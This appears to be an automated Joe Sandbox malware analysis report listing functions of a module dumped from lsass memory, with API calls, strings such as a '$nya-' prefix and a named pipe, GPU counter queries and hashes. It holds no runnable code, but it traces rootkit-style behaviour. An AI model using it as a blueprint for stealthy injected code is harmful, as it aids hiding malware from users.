Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: c9bf57815c647d5cb5a2bf4a54b90c79dd327f0def2c695701b12de31f15661d
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 91512B32218B8896EB24CF62F44839A77B1FB88F98F484124DA4D07759DF7CC08A8780

Function 0000017D2DD5EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,0000017D2DD5F34A,?,?,00000000,0000017D2DD5F2CD), ref: 0000017D2DD5EFF5
GetLastError.KERNEL32(?,?,00000000,0000017D2DD5F2CD), ref: 0000017D2DD5F007
LoadLibraryExW.KERNEL32(?,?,00000000,0000017D2DD5F2CD), ref: 0000017D2DD5F049
VirtualProtect.KERNEL32 ref: 0000017D2DD5F0A5
VirtualProtect.KERNEL32 ref: 0000017D2DD5F0D6
FreeLibrary.KERNEL32(?,?,00000000,0000017D2DD5F2CD), ref: 0000017D2DD5F11A
GetProcAddress.KERNEL32(?,?,00000000,0000017D2DD5F2CD), ref: 0000017D2DD5F126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 0000017D2DD5F157, 0000017D2DD5F165
api-ms-, xrefs: 0000017D2DD5F01B
ext-ms-, xrefs: 0000017D2DD5F02E

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 4972e08af1195b3f28e5aa5d2d33d3d318c4d8e495bad8b93d07054ccc4bb4d3
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 39516C31749F4C51EA149B66B8407E922B0AF48BB0F5C07259E3D4B7D6EFB8D4878690

Function 0000017D2DD533A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000017D2DD533FD
GetProcessHeap.KERNEL32 ref: 0000017D2DD53412
HeapAlloc.KERNEL32 ref: 0000017D2DD53420
PdhGetCounterInfoW.PDH ref: 0000017D2DD53436
StrCmpW.SHLWAPI ref: 0000017D2DD5344B

Part of subcall function 0000017D2DD53950: StrCmpNW.SHLWAPI ref: 0000017D2DD53972
Part of subcall function 0000017D2DD53950: StrStrW.SHLWAPI ref: 0000017D2DD53990
Part of subcall function 0000017D2DD53950: StrToIntW.SHLWAPI ref: 0000017D2DD539B7

GetProcessHeap.KERNEL32 ref: 0000017D2DD53488
HeapFree.KERNEL32 ref: 0000017D2DD53496

Strings

\GPU Engine(*)\Running Time, xrefs: 0000017D2DD53444

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 422347752cb8a5a5f4ba61478ceba83143f2d89ceaa727bce76a7423e00b515b
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: FF317C32A08F4897E721DF52B804799A3B4BB98B95F484525DE8D43626DF78C4D78780

Function 0000017D2DD534B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000017D2DD53516
GetProcessHeap.KERNEL32 ref: 0000017D2DD53527
HeapAlloc.KERNEL32 ref: 0000017D2DD53535
PdhGetCounterInfoW.PDH ref: 0000017D2DD5354B
StrCmpW.SHLWAPI ref: 0000017D2DD53560

Part of subcall function 0000017D2DD53950: StrCmpNW.SHLWAPI ref: 0000017D2DD53972
Part of subcall function 0000017D2DD53950: StrStrW.SHLWAPI ref: 0000017D2DD53990
Part of subcall function 0000017D2DD53950: StrToIntW.SHLWAPI ref: 0000017D2DD539B7

GetProcessHeap.KERNEL32 ref: 0000017D2DD5358D
HeapFree.KERNEL32 ref: 0000017D2DD5359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 0000017D2DD53559

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: b2a5967eee084143195432e5f40e43866f6486d5eaa342772f780f2da15f402f
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: D0318C31618F498BEB10DF22B884799B3B0BF84F95F4851259E8E43766EE78D4C38680

Function 0000017D2DD5A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000017D2DD5A289

Part of subcall function 0000017D2DD5B144: __GetUnwindTryBlock.LIBCMT ref: 0000017D2DD5B187
Part of subcall function 0000017D2DD5B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000017D2DD5B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017D2DD5A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017D2DD5A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017D2DD5A6BC

Strings

csm, xrefs: 0000017D2DD5A2A3
csm, xrefs: 0000017D2DD5A384
csm, xrefs: 0000017D2DD5A30A

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: a7143d3f81dc630082b136a90ca0f54496fd1e4b9adf58d3744d12870631f34a
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 59D17C7260CF988AEB20DB65A4403DD77B0FB45788F182115EA8D57B9ADBB4E5C6C700

Function 0000017D2DD2962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000017D2DD29689

Part of subcall function 0000017D2DD2A544: __GetUnwindTryBlock.LIBCMT ref: 0000017D2DD2A587
Part of subcall function 0000017D2DD2A544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000017D2DD2A5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017D2DD29761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017D2DD299AF
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017D2DD29ABC

Strings

csm, xrefs: 0000017D2DD2970A
csm, xrefs: 0000017D2DD29784
csm, xrefs: 0000017D2DD296A3

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 310fc0b5922953b9c4234ef9c5d0874e37dd68400065c5e6711a8eed723815eb
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: 03D16832648B888AEB609F65A4883ED77B0FB45798F185215EE8D57B9FDB34C5C2C700

Function 0000017D2DD5104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD510B1
RegEnumValueW.ADVAPI32 ref: 0000017D2DD51117
GetProcessHeap.KERNEL32 ref: 0000017D2DD5115A
HeapAlloc.KERNEL32 ref: 0000017D2DD51168
GetProcessHeap.KERNEL32 ref: 0000017D2DD51185
HeapFree.KERNEL32 ref: 0000017D2DD51193

Strings

d, xrefs: 0000017D2DD510D6

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 3cb689649fdd88a86a4149668db6177ce478f31cb262a3dabc8e4b9b4df4e1f0
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 69412D72218F84DAE760CF61F44479A77B1F788B98F488129DB8907759DF78C58ACB80

Function 0000017D2DD52518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000017D2DD5252D
GetCurrentProcessId.KERNEL32 ref: 0000017D2DD52537
CreateFileW.KERNEL32 ref: 0000017D2DD52568
WriteFile.KERNEL32 ref: 0000017D2DD52590
ReadFile.KERNEL32 ref: 0000017D2DD525AF
CloseHandle.KERNEL32 ref: 0000017D2DD525B8

Strings

\\.\pipe\$nya-childproc, xrefs: 0000017D2DD52549

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 709f8d1fd23cfc63cb23fbc949a151c789b254d588f567ccc9f9cf4f3d996b29
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 50114C3261CB4482F7108B21F41439A7770FB89BD4F984315EB5E02AA9CF7CC18ACB80

Function 0000017D2DD57C50 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017D2DD57C78
__scrt_acquire_startup_lock.LIBCMT ref: 0000017D2DD57CCA
_RTC_Initialize.LIBCMT ref: 0000017D2DD57CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017D2DD57D1E
__scrt_release_startup_lock.LIBCMT ref: 0000017D2DD57D49

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 4c8f37232e856023605888e2b1735ea5b4ca42d108cd0c214cd9eba3c911007f
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 4F81C23070CF4D96FA60EB65B8413E966B1AF85B84F6C4015AA0D47397DBB8C8CB8740

Function 0000017D2DD27050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017D2DD27078
__scrt_acquire_startup_lock.LIBCMT ref: 0000017D2DD270CA
_RTC_Initialize.LIBCMT ref: 0000017D2DD270F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017D2DD2711E
__scrt_release_startup_lock.LIBCMT ref: 0000017D2DD27149

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: e277e449b48480b4843398206f7a681ef9f1fae92a2cb6f22c3226b47e71a24d
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: A381A03060DF4DA6FAB59B65B84A3D962B1AF86780F5C50159D0C4779FDA38C9CB8B00

Function 0000017D2DD59AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,0000017D2DD59C6B,?,?,?,0000017D2DD5945C,?,?,?,?,0000017D2DD58F65), ref: 0000017D2DD59B31
GetLastError.KERNEL32(?,?,?,0000017D2DD59C6B,?,?,?,0000017D2DD5945C,?,?,?,?,0000017D2DD58F65), ref: 0000017D2DD59B3F
LoadLibraryExW.KERNEL32(?,?,?,0000017D2DD59C6B,?,?,?,0000017D2DD5945C,?,?,?,?,0000017D2DD58F65), ref: 0000017D2DD59B69
FreeLibrary.KERNEL32(?,?,?,0000017D2DD59C6B,?,?,?,0000017D2DD5945C,?,?,?,?,0000017D2DD58F65), ref: 0000017D2DD59BD7
GetProcAddress.KERNEL32(?,?,?,0000017D2DD59C6B,?,?,?,0000017D2DD5945C,?,?,?,?,0000017D2DD58F65), ref: 0000017D2DD59BE3

Strings

api-ms-, xrefs: 0000017D2DD59B51

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: f48c940c265e2daad92e5c1e5b6921450fbf53ad875bcdb193b5a88706f70175
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 6A31AE3121AF4891FF119B16B8807E523B4BF58BA0F9D0625ED1D4B796EF78E4C68390

Function 0000017D2DD63400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000017D2DD63431
GetLastError.KERNEL32 ref: 0000017D2DD6343D
CloseHandle.KERNEL32 ref: 0000017D2DD63455
CreateFileW.KERNEL32 ref: 0000017D2DD63480
WriteConsoleW.KERNEL32 ref: 0000017D2DD6349F

Strings

CONOUT$, xrefs: 0000017D2DD63461

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 57ad0a87101fc014a47693d5d53f1c791703df7ebf8c7a55728d0379093e6ab6
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 1C116031718F4486E7608B56F854759B7B4FB88BE4F584224EA5E87B99CF3CC48687C0

Function 0000017D2DD56270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD562AB
GetThreadContext.KERNEL32 ref: 0000017D2DD56415

Part of subcall function 0000017D2DD560A0: GetCurrentThreadId.KERNEL32 ref: 0000017D2DD560A4

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 8cf41acd218546793b6ed0d90e458c47a19c5a17e27bbef3670ec55f879e2049
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 3CD17B76209F8C85EA70DB1AF49439A77B0F788B88F540156EA8D477A6DF7CC592CB00

Function 0000017D2DD52098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0000017D2DD520A6
TlsFree.KERNEL32 ref: 0000017D2DD5225F
TlsFree.KERNEL32 ref: 0000017D2DD5226B
TlsFree.KERNEL32 ref: 0000017D2DD52277
TlsFree.KERNEL32 ref: 0000017D2DD52283
TlsFree.KERNEL32 ref: 0000017D2DD5228F

Part of subcall function 0000017D2DD55E50: GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55E66

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: b487a383841d198bad61ad671097e45e90b99253259c84bcebb8eb2ffb1bb39e
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: EB51AF35209F4995FB06DF68FC913D823B1BF04744F885915A92D067AAEFB8D5ABC380

Function 0000017D2DD535C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD535EB
HeapAlloc.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD535FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD53673
GetProcessHeap.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD536D9
HeapFree.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD536E7

Strings

$nya-, xrefs: 0000017D2DD5366C

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: e44f6ab9cc7e4a7ef97263a8d5e3176e6a8d105c8800c8036b3f4b44f3aa658b
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 8D316B32709F5987EA15DF16B9446A9A3B0BF54B84F0C4428DF8C47B56EF78C4E28740

Function 0000017D2DD5C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000017D2DD5C94F
SetLastError.KERNEL32 ref: 0000017D2DD5C96E
FlsSetValue.KERNEL32 ref: 0000017D2DD5C997
FlsSetValue.KERNEL32 ref: 0000017D2DD5C9A8
FlsSetValue.KERNEL32 ref: 0000017D2DD5C9B9

Part of subcall function 0000017D2DD5D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,0000017D2DD5674A), ref: 0000017D2DD5D2B6
Part of subcall function 0000017D2DD5D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,0000017D2DD5674A), ref: 0000017D2DD5D2C0

SetLastError.KERNEL32 ref: 0000017D2DD5C9DC

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

